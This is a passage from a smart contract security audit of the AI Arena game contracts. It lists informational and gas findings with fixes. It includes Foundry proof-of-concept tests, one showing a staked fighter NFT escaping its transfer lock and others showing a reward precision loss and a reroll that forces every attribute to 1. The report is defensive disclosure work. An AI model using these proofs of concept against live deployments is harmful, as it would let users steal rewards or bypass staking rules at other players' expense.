        _rankedBattleContract.stakeNRN(aliceStakedBalance, 0);

        // Confirm tokenId is still not locked despite alice staking
        assert(!_fighterFarmContract.fighterStaked(0));

        // Alice plays another game
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        // Test tokenId 0s points accumulated and alice's points accumulated
        uint256 tokenAccumulated = _rankedBattleContract.accumulatedPointsPerFighter(0, 1);
        uint256 aliceAccumulated = _rankedBattleContract.accumulatedPointsPerAddress(alice, 1);
        assert(aliceAccumulated > 0);

        // Transfer token from alice to alice two
        vm.prank(alice);
        _fighterFarmContract.transferFrom(alice, aliceTwo, 0);
        
        // Alice Two plays games
        vm.prank(_GAME_SERVER_ADDRESS);
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        
        // Confirm the token and Alice two earned points for the battle
        uint256 tokenAccumulatedAfter = _rankedBattleContract.accumulatedPointsPerFighter(0, 1);
        uint256 aliceTwoAccumulated = _rankedBattleContract.accumulatedPointsPerAddress(aliceTwo, 1);

        assert(tokenAccumulatedAfter > tokenAccumulated);
        assert(aliceTwoAccumulated > 0);
    }

Recommended Mitigation The most simple way of mitigating this issue is to remove if (amountStaked[tokenId] > 0 check and call _fighterFarmInstance.updateFighterStaking(tokenId, true); every time in stakeNRN. This will add a slight gas overhead for users who are adding more tokens to their already staked tokens but would enusre that tokens can't avoid being locked.

Assessed type

Other

[I-01] Precision loss in RankedBattle NRN distribution

Actual $NRN claimable after a round in RankedBattle will likely be less than rankedNrnDistribution due to rounding errors.

PoC Log showing this:

  Alice NRN 1206896551724137931034
  Bob NRN 1724137931034482758620
  Chad NRN 2068965517241379310344
  Dave NRN 0
  Error: a == b not satisfied [uint]
        Left: 4999999999999999999998
       Right: 5000000000000000000000

Add the following foundry test to RankedBattle.t.sol to recreate this:

    function testClaimNRNNoPrecisionLoss() public {
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address chad = makeAddr("chad");
        address dave = makeAddr("dave");
        
        address[] memory users = new address[](4);
        users[0] = alice;
        users[1] = bob;
        users[2] = chad;
        users[3] = dave;
        
        // Set up all 4 users with a fighter, and have them stake 4k $NRN
        for (uint256 i; i < users.length; ++i) {
            address user = users[i];
            _mintFromMergingPool(user);
            _fundUserWith4kNeuronByTreasury(user);
            _fundUserWith4kNeuronByTreasury(user);
            uint256 stakeAmount = (i + 1) * 200 ether;
            vm.prank(user);
            _rankedBattleContract.stakeNRN(stakeAmount, i);
        }

        // Alice beats bob
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, false);
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true);
        // Chad beats dave
        _rankedBattleContract.updateBattleRecord(2, 50, 0, 1500, false);
        _rankedBattleContract.updateBattleRecord(3, 50, 2, 1500, true);
        // Bob beats dave twice
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, false);
        _rankedBattleContract.updateBattleRecord(3, 50, 2, 1500, true);
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, false);
        _rankedBattleContract.updateBattleRecord(3, 50, 2, 1500, true);

        for (uint256 i; i < users.length; ++i) {
            uint256 userPoints = _rankedBattleContract.accumulatedPointsPerAddress(users[i], 0);
            console.log("User Points", userPoints);
        }
        vm.stopPrank();

        _rankedBattleContract.setNewRound();

        uint256 aliceNRN = _rankedBattleContract.getUnclaimedNRN(alice);
        uint256 bobNRN = _rankedBattleContract.getUnclaimedNRN(bob);
        uint256 chadNRN = _rankedBattleContract.getUnclaimedNRN(chad);
        uint256 daveNRN = _rankedBattleContract.getUnclaimedNRN(dave);

        console.log("Alice NRN", aliceNRN);
        console.log("Bob NRN", bobNRN);
        console.log("Chad NRN", chadNRN);
        console.log("Dave NRN", daveNRN);
        assertEq((aliceNRN + bobNRN + chadNRN + daveNRN), _rankedBattleContract.rankedNrnDistribution(0));
    }

On top of this, in a real scenario with more games, more players competing, more varying staking amounts and differing eloFactors the rounding errors would become even more apparent.

[I-02] Wallet limit in FighterFarm could cause issues for AAMintPass holders with more than 10 passes

The FighterFarm contract ensures that a wallet cannot own more than MAX_FIGHTERS_ALLOWED (10), whereas there is no similar check on number of AAMintPass tokens a user can hold. Therefore if a user with more than 10 mint passes would have to transfer their additional tokens to another address in order to successfully call redeemMintPasses

[I-03] If a user calls FighterFarm::redeemMintPass and mintpassIdsToBurn > 10 the function will waste a lot of gas before eventually reverting

The FighterFarm contract ensures that one wallet can only own MAX_FIGHTERS_ALLOWED (10) number of tokens. During redeemMintPass this is checked in each loop iteration during _createNewFighter with the following line: require(balanceOf(to) > MAX_FIGHTERS_ALLOWED); If for example the user attempts to mint 11 tokens, the gas will be spent creating the first 10 tokens before reverting on the 11th.

Mitigation It would be beneficial at the start of redeemMintPass to add a check such as: require(balanceOf(msg.sender) + mintPassIdsToBurn.length <= MAX_FIGHTERS_ALLOWED, "Exceeded max fighters"); This way a users transaction will revert early and save them wasting a large amount of gas.

[I-04] If length of arrays passed to MergingPool::claimRewards are less than the users number of wins the function will revert with an out of bounds array access error

There is no option in the contract to claim singular rewards and the claimRewards function loops through all unclaim rounds to mint any outstanding rewarsd the user has. As well as this it's not possible for the funciton call to know how many win's the user is going to have so can't validate array lengths early to avoid wasting gas. Therefore it's important for the user to know how many NFTs they can claim before calling claimRewards to avoid reverting at the out of bounds array access error after using gas to mint the intial tokens. The project should be aware of this and tries to lead users towards the getUnclaimedRewards function before they call claimRewards.

[I-05] MergingPool::pickWinner should be renamed setWinner to be clearer about it's functionality

The function pickWinner does not actually pick the winner in the MergingPool contract as that is already done offchain, as shown by the winners array that is passed as an argument. Changing this would improve the code's readability and avoid any confusion from users who may expect the winner is selected onchain rather than being picked offchain and then having the result stored on chain afterwards.

[I-06] Unclear constant token amounts in Neuron.sol

See the following example:

    /// @notice Initial supply of NRN tokens to be minted to the treasury.
    uint256 public constant INITIAL_TREASURY_MINT = 10**18 * 10**8 * 2;

    /// @notice Initial supply of NRN tokens to be minted and distributed to contributors.
    uint256 public constant INITIAL_CONTRIBUTOR_MINT = 10**18 * 10**8 * 5;

    /// @notice Maximum supply of NRN tokens.
    uint256 public constant MAX_SUPPLY = 10**18 * 10**9;

It's difficult to work out what these values actually are and what percentage of MAX_SUPPLY the other two values represent. It would be improve the code's readability to use either the keyword ether or 1e18 to make it clearer to the reader what these values are.

Example:

    /// @notice Initial supply of NRN tokens to be minted to the treasury.
    uint256 public constant INITIAL_TREASURY_MINT = 200_000_00 ether;

    /// @notice Initial supply of NRN tokens to be minted and distributed to contributors.
    uint256 public constant INITIAL_CONTRIBUTOR_MINT = 500_000_000 ether;

    /// @notice Maximum supply of NRN tokens.
    uint256 public constant MAX_SUPPLY = 100_000_000_000 ether;

[I-07] Neuron::claim allowing partial claims is unnecessary

It's unclear why a user would only want to claim only part of their allotted airdrop, so it would be better remove the amount argument and just send the user all the tokens they're entitled to.

Recommendation Example here:

    function claim() external {
        uint256 amountToClaim = allowance(treasuryAddress, msg.sender);
        require(amountToClaim > 0, "Nothing to claim");

        transferFrom(treasuryAddress, msg.sender, amountToClaim);
        emit TokensClaimed(msg.sender, amountToClaim);
    }

[I-08] Error messages in Neuron.sol's require blocks suggest the error comes from the ERC20 code when this is not the case

It's typical of frequently inherited contracts to include the contract name in their error messages to make it clearer for users to understand the issue and for developers to debug during testing. However the Neuron contract has multiple errors messages labelled "ERC20" which can make it confusing to understand where the origin of the error actually is. It's recommended to remove the "ERC20" tag to make this clearer.

[I-09] No way to revoke MINTER_ROLE, STAKER_ROLE or SPENDER_ROLE in Neuron.sol should it be necessary.

Once an address if given the permission to mint Neuron tokens or spend tokens on behalf of users there is no way to revoke these permissions should anything go wrong. Given the amount of power these functions have over the $NRN token, any mistake where these are set incorrectly or one of the addresses is compromised would cause irrepairable damage to the protocol.

Recommendation Change the addX(address newXAddress) functions to setX(address XAddress, bool permitted). This would give the protocol time to act should something happen to lessen the possible damage done.

[I-10] In RankedBattle::_neuronInstance should only be allowed to be set once, as changing the token address once the contract is in use would break the system

The function RankedBattle::instantiateNeuronContract can be called by _ownerAddress with no checks that the function has not already been called. This should be changed to preferably set the _neuronInstance in the constructor or via a function that can only be called once. Any change to the contract address once users have staked the original address' tokens would break the contracts accounting as users would have stakedAmountof the old contract's tokens.

[I-11] RankedBattle unused library implementation

The RankedBattle contract contains the following line: using FixedPointMathLib for uint. However the one use of the library declares the library again _getStakingFactor function here: uint256 stakingFactor_ = FixedPointMathLib.sqrt((amountStaked[tokenId] + stakeAtRisk) / 10**18); Recommendation using FixedPointMathLib for uint can be removed from the code to improve clarity without causing any issues to the codebase.

[I-12] Users can call FighterFarm::reRoll with an incorrect fighterType

Description If a user holds an NFT where fighterType == 0 they can still call reRoll(tokenId, 1) and there is no check that they are actually a dendroid. If this is called the rerolled fighter will always have the value 1 for each attribute because the following line in _createFighterBase sets the dna value to 1 throwing off the pseudorandom trait generation: uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);

Proof Of Concept Add the following test to FighterFarm.t.sol to confirm this:

  function testTryRerollFighterIntoDendroid() public {
        // Claim one non dendroid fighter
        uint8[2] memory numToMint = [1, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );
        string[] memory claimModelHashes = new string[](1);
        claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory claimModelTypes = new string[](1);
        claimModelTypes[0] = "original";

        _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);       

        // Give contract some $NRN to pay reroll fee
        _fundUserWith4kNeuronByTreasury(address(this));
        // Give fighter farm spender role to transfer $NRN
        _neuronContract.addSpender(address(_fighterFarmContract));

        // Call reroll with fighterType = 1
        _fighterFarmContract.reRoll(0, 1);

        // Confirm the attributes are now all 1
        ( , uint256[6] memory attributes, , , , ,) = _fighterFarmContract.getAllFighterInfo(0);
        assertEq(attributes[0], 1);
        assertEq(attributes[1], 1);
        assertEq(attributes[2], 1);
        assertEq(attributes[3], 1);
        assertEq(attributes[4], 1);
        assertEq(attributes[5], 1);

    }

Recommended Mitigation Remove the fighterType argument from FighterFarm::reRoll and instead call fighters[tokenId].dendroidBool to figure out what the fighters type is.

[I-13] Fighter that does not intiate battle in RankedBattle still loses points, despite what is stated in the projects documentation

The following lines are in the projects documentation:

"To keep terms consistent, we will use “Challenger” and “Opponent” to denote the NFTs instigating and being matched for Ranked Battles, respectively.  

It is important to note that only the Challenger NFT accrues Points during a match. For the Opponent NFT, the outcome does not impact their Point total. However, it does impact their Elo score¹."

However it is clear from the logic within RankedBattle::updateBattleRecord that initiatorBool is only used to calculate if a fighter should be deducted voltage for the battle or not.

Recommendation The project should update their documentation or rewrite this function to match what is stated in the docs.

[I-14] RankedBattle::totalBattles variable gets incremented twice per battle

The totalBattles variable will end up being twice as many battles as it should because it is incremented in updateBattleRecord which will be called twice per battle (once for the winner, once for the loser)

Recommendation Only increment totalBattles if initiatorBool is true. This will keep it to only being updated once per battle.

[I-15] msg.sender used FighterFarm::mintFromMergingPool's dna generation will always be _mergingPoolAddress

The pseudorandom hash used by mintFromMergingPool to create a fighters dna is actually deterministic and easily predictable. See the following line: uint256(keccak256(abi.encode(msg.sender, fighters.length))), As msg.sender will always be _mergingPoolAddress and fighters.length will increment from 0 upwards it would be possible for a user to calculate the dna of future fighters in advance and wait until fighters.length is a value that creates their desired traits before calling MergingPool::claimRewards.

Mitigation The project should either use Chainlink VRF to provide a non-deterministic source of random number generation, or at the very least add other variables to the has such as block.timestamp that will at least make fishing for a specific value less simple.

[I-16] No zero quantity check on GameItems::mint can lead to users wasting gas

If a user calls mint with a quantity of zero the function call will not revert, emitting multiple unnecessary events and wasting the users gas.

[I-17] RankedBattle::globalStakedAmount is incorrect due to amounts lost to stakeAtRisk contract

The variable globalStakedAmount is supposed to track the overall staked amount in the system, however when stake is sent to the StakeAtRisk contract (or when at risk stake is swept to the _treasuryAddress the total globalStakedAmount is not decreased. This means the variable gives an unclear indication of actual amount staked within the RankedBattle contract.

[I-18] Multiple _neuronInstance.transfer calls that do not revert if unsuccessful

Affected: RankedBattle::_addResultPoints RankedBattle::stakeNRN RankedBattle::unstakeNRN GameItems::mint FighterFarm::reRoll StakeAtRisk::reclaimNRN

The following logic is present in all the above functions:

        // State updates

        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            // More state updates
        }

This logic ensures that only the second group of state updates are made if the transfer is unsuccessful, however the state updates made before the call remain valid when they should not be. One example of this is in RankedBattle::unstakeNRN where amountStaked[tokenId] -= amount is changed before the Neuron transfer, meaning that if the transfer returns false, the users amountStaked would be decreased but they would not receive their tokens.

Recomendation It would be better to complete all state changes prior to _neuronInstance.transfer and then revert the whole transaction if (!success).

FighterFarm::_ableToTransfer would be better suited as a modifier

The function _ableToTransfer is just responsible for checking a token id is able to be transferred, so it would be better suited as a modifier added to transferFrom and safeTransferFrom.

[G-01] Structs in FightersOps can be better packed to save number of SSTOREs used when setting

The structs FighterPhysicalAttributes and Fighter can both be reorded and/or use smaller uint types to save users gas when these structs are saved in storage.

FighterPhysicalAttributes

Currently when this struct is created for a fighter in FighterFarm::_createNewFighter it requires storing data a separate storage slot for each of the 6 fields of the array. However when the values of this struct struct are set in AiArenaHelper::createPhysicalAttributes the maximum a value will be set to is 99. Therefore a uint8 would be enough to store each fo these values meaning only one storage slot would be required.

Fighter

The fighter struct can similarly be optimised for large gas savings. As this struct includes the above FighterPhysicalAttributes struct, those changes will be part of the changes here too. As for the other fields of the array: weight has a range between 65-95, so this can safely be set as a uint8. element is initialised to 3 for generation 1 so it seems probably that this number won't inflate past 255 in future rounds, so can also be set as a uint8. id is the token id of the fighter, it seems reasonable that this number will safely never supass the maximum uint16 (65,535).

The fields of the struct can then be reordered to ensure the minimum storage slots are used.

    struct Fighter {
        uint8 weight;
        uint8 element;
        uint16 id;
        uint8 generation;
        uint8 iconsType;
        bool dendroidBool;
        FighterPhysicalAttributes physicalAttributes;
        string modelHash;
        string modelType;
    }

Recommendation

This results in the following gas savings when minting fighters:

    | Function Name      | min    | avg     | median  | max    | # calls |
-   | claimFighters      | 16108  | 350552  | 517775  | 517775 | 3       |
+   | claimFighters      | 16096  | 274958  | 404390  | 404390 | 3       |
-   | redeemMintPass     | 327014 | 349995  | 327014  | 395957 | 3       |
+   | redeemMintPass     | 202665 | 221084  | 202665  | 257922 | 3       |
-   | mintFromMergingPool| 364235 | 406101  | 410869  | 432889 | 73      |
+   | mintFromMergingPool| 227724 | 278037  | 297526  | 299646 | 73      |

[G-02] RankedBattle::claimFighters could use a struct for nftsClaimed to reduce the number of SSTORE's required

Currently it requires two SSTOREs to update the number of fighters & dendroids minted by a user. However it would be possible to reduce this to one by creating a FightersMinted struct.

See the following snippet from the original function:

        nftsClaimed[msg.sender][0] += numToMint[0];
        nftsClaimed[msg.sender][1] += numToMint[1];

Recommendation First we create the following struct (given the numToMint argument passed to claimFighters is a uint8 array we'll use uint8s but it can be increased in size to a maximum of uint128 if there's risks uint8 could eventually overflow):

    struct FightersMinted {
        uint8 championsMinted;
        uint8 dendroidsMinted;
    }

Next the mapping nftsClaimed is changed as below:

-   mapping(address => mapping(uint8 => uint8)) public nftsClaimed;
+   mapping(address => FightersMinted) public nftsClaimed;

Then the claimFighters functions is changed as below:

    function claimFighters(
        uint8[2] calldata numToMint,
        bytes calldata signature,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
+       FightersMinted memory minted = nftsClaimed[msg.sender];
        bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
-           nftsClaimed[msg.sender][0],
-           nftsClaimed[msg.sender][1]
+           minted.championsMinted,
+           minted.dendroidsMinted
        )));
        require(Verification.verify(msgHash, signature, _delegatedAddress));
        uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
        require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
-       nftsClaimed[msg.sender][0] += numToMint[0];
-       nftsClaimed[msg.sender][1] += numToMint[1];
+       minted.championsMinted += numToMint[0];
+       minted.dendroidsMinted += numToMint[1];
        nftsClaimed[msg.sender] = minted;
        for (uint16 i = 0; i < totalToMint; i++) {
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(msg.sender, fighters.length))),
                modelHashes[i], 
                modelTypes[i],
                i < numToMint[0] ? 0 : 1,
                0,
                [uint256(100), uint256(100)]
            );
        }
    }

This results in the following gas savings:

    | Function Name  | min    | avg     | median  | max    | # calls |
-   | claimFighters  | 16108  | 350552  | 517775  | 517775 | 3       |
+   | claimFighters  | 14005  | 348005  | 515005  | 515005 | 3       |

[G-03] GameItems::_replenishDailyAllowance could be optimized by reducing it's two separate mappings into one

The following mappings could be converted into a single one using an AllowanceInfo struct:

    /// @notice Mapping of address to tokenId to get remaining allowance.
    mapping(address => mapping(uint256 => uint256)) public allowanceRemaining;

    /// @notice Mapping of address to tokenId to get replenish timestamp.
    mapping(address => mapping(uint256 => uint256)) public dailyAllowanceReplenishTime;

As these two mappings are both related to the same thing, a users allowance for a specific token id. It would make sense to group them in a single mapping like this:

    struct AllowanceInfo {
        uint128 allowanceRemaining;
        uint128 allowanceReplenishTime;
    }

    mapping(address => mapping(uint256 => AllowanceInfo)) public allowanceInfo;

Full changes to GameItems.sol to facilitiate these changes here

This results in the following gas savings:

    | Function Name     | min    | avg    | median | max    | # calls |
-   | mint              | 3444   | 88849  | 107483 | 111658 | 18      |
+   | mint              | 3435   | 71703  | 87304  | 89242  | 18      |

[G-04] Neuron::claim makes an unnecessary allowance check that can be removed

The function claim makes the following check: require(allowance(treasuryAddress, msg.sender) >= amount, "ERC20: claim amount exceeds allowance");

However claim calls ERC20::transferFrom which in turn calls ERC20::_spendAllowance which also makes this check: require(currentAllowance >= amount, "ERC20: insufficient allowance");

Therefore this initial check can be removed for a gas saving:

    | Function Name | min  | avg   | median | max   | # calls |
-   | claim         | 4872 | 16170 | 16170  | 27468 | 2       |
+   | claim         | 4934 | 16020 | 16020  | 27106 | 2       |

[G-05] Check number of tokens to mint in FighterFarm::redeemMintPass doesn't exceed MAXIMUM_FIGHTERS_ALLOWED one time rather than once for every mintpassIdsToBurn

Currently the function redeemMintPass checks that the users address hasn't exceeded MAXIMUM_FIGHTERS_ALLOWED once for each mintpassIdsToBurn during _createNewFighter. As the majority of tokens will be minted from redeemMintPas it would be more gas efficient to check that the user balance + amount of mint passes to redeem doesn't exceed 10 once, rather than checking during each iteration.

Mitigation

    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
+       require(balanceOf(msg.sender) + mintpassIdsToBurn.length <= MAX_FIGHTERS_ALLOWED, "Maximum fighters exceeded");
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

    function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
-       require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
        
        // snip
    }

    // Also update other mint functions

    function claimFighters(
        uint8[2] calldata numToMint,
        bytes calldata signature,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        bytes32 msgHash = bytes32(keccak256(abi.encode(
            msg.sender, 
            numToMint[0], 
            numToMint[1],
            nftsClaimed[msg.sender][0],
            nftsClaimed[msg.sender][1]
        )));
        require(Verification.verify(msgHash, signature, _delegatedAddress));
        uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
        require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
+       require(balanceOf(msg.sender) + totalToMint <= MAX_FIGHTERS_ALLOWED, "Max fighters exceeded");

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
+       require(balanceOf(to) < MAX_FIGHTERS_ALLOWED, "Max fighers exceeded");
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

[G-06] Remove unnecessary bytes("random") input in GameItems::mint::_mint

See the following line: _mint(msg.sender, tokenId, quantity, bytes("random"));

As the bytes argument given to _mint is not used it would better be replaced with an empty string like so: _mint(msg.sender, tokenId, quantity, "");

The gas savings from doing this are shown here:

    | Function Name | min  | avg   | median | max    | # calls |
-   | mint          | 3444 | 90897 | 109720 | 111680 | 15      |
+   | mint          | 3444 | 90811 | 109696 | 111547 | 15      |

[G-07] Remove unnecessary check in MergingPool::pickWinner

In the function pickWinner has the following require statement: require(!isSelectionComplete[roundId], "Winners are already selected"); This check would be necessary if pickWinner took a roundId argument, hwoever the roundId in question is always the current round and is incremented only via this function call. Therefore it is impossible for isSelectionComplete[roundId] to ever be true and therefore the check can be removed to save gas.

Mitigation

    function pickWinner(uint256[] calldata winners) external {
        require(isAdmin[msg.sender]);
        require(winners.length == winnersPerPeriod, "Incorrect number of winners");
-       require(!isSelectionComplete[roundId], "Winners are already selected");
        uint256 winnersLength = winners.length;
        address[] memory currentWinnerAddresses = new address[](winnersLength);
        for (uint256 i = 0; i < winnersLength; i++) {
            currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
            totalPoints -= fighterPoints[winners[i]];
            fighterPoints[winners[i]] = 0;
        }
        winnerAddresses[roundId] = currentWinnerAddresses;
        isSelectionComplete[roundId] = true;
        roundId += 1;
    }

[G-08] The StakeAtRisk contract should read roundId from RankedBattle rather than having it's own storage variable

Currently RankedBattle::setNewRound increments it's own RankedBattle::roundId then calls _stakeAtRiskInstance.setNewRound which again increments it's own StakeAtRisk::roundId variable. It would be better if RankedBattle alone was in charge of storing the roundId and StakeAtRisk reads from RankedBattle to ensure that the round id stays in sync.

    | Function Name | min    | avg    | median | max    | # calls |
-   | setNewRound   | 2376   | 32870  | 30962  | 82762  | 108     |
+   | setNewRound   | 2376   | 32371  | 31392  | 63292  | 108     |

[G-09] GameItems::_replenishDailyAllowance unnecessarily casts value to uint32

The private function _replenishDailyAllowance is called during GameItems::mint if it is time to reset a users daily allowance of a particular token id. In this function there is the following line: dailyAllowanceReplenishTime[msg.sender][tokenId] = uint32(block.timestamp + 1 days); However as can be seen here: mapping(address => mapping(uint256 => uint256)) public dailyAllowanceReplenishTime; The value is being stored as a uint256 anyway so the casting down to uint32 is unnecessary and removing this will save gas as shown here:

    | Function Name | min    | avg    | median | max    | # calls |
-   | mint          | 3444   | 88849  | 107483 | 111658 | 18      |
+   | mint          | 3444   | 88836  | 107470 | 111643 | 18      |

[G-10] The constructor of AiArenaHelper sets attributeProbabilities mapping twice

The constructor first calls addAttributeProbabilities to initialise the probabilities, but then back in the core logic of the constructor mistakenly sets them again in a for loop. Recommendation Remove one of the unnecessary setting methods.

Below showing the difference in deployment cost after the change:

    | Deployment Cost | Deployment Size
-   | 1741279         | 8445
+   | 1661623         | 8308

[G-11] Neuron::burnFrom should store result of allowance in memory rather than calling it twice

The burnFrom calls allowance twice when it could call it once and store that variable in memory.

Optimized Code

    function burnFrom(address account, uint256 amount) public virtual {
+       uint256 senderAllowance = allowance(account, msg.sender);
        require(
-           allowance(account, msg.sender) >= amount,
+           senderAllowance >= amount, 
            "ERC20: burn amount exceeds allowance"
        );
-       uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
+       uint256 decreasedAllowance = senderAllowance - amount;
        _burn(account, amount);
        _approve(account, msg.sender, decreasedAllowance);
    }

This results in the following gas savings:

    | Function Name     | min    | avg    | median | max   | # calls |
-   | burnFrom          | 4761   | 4761   | 4761   | 4761  | 1       |
+   | burnFrom          | 4524   | 4524   | 4524   | 4524  | 1       |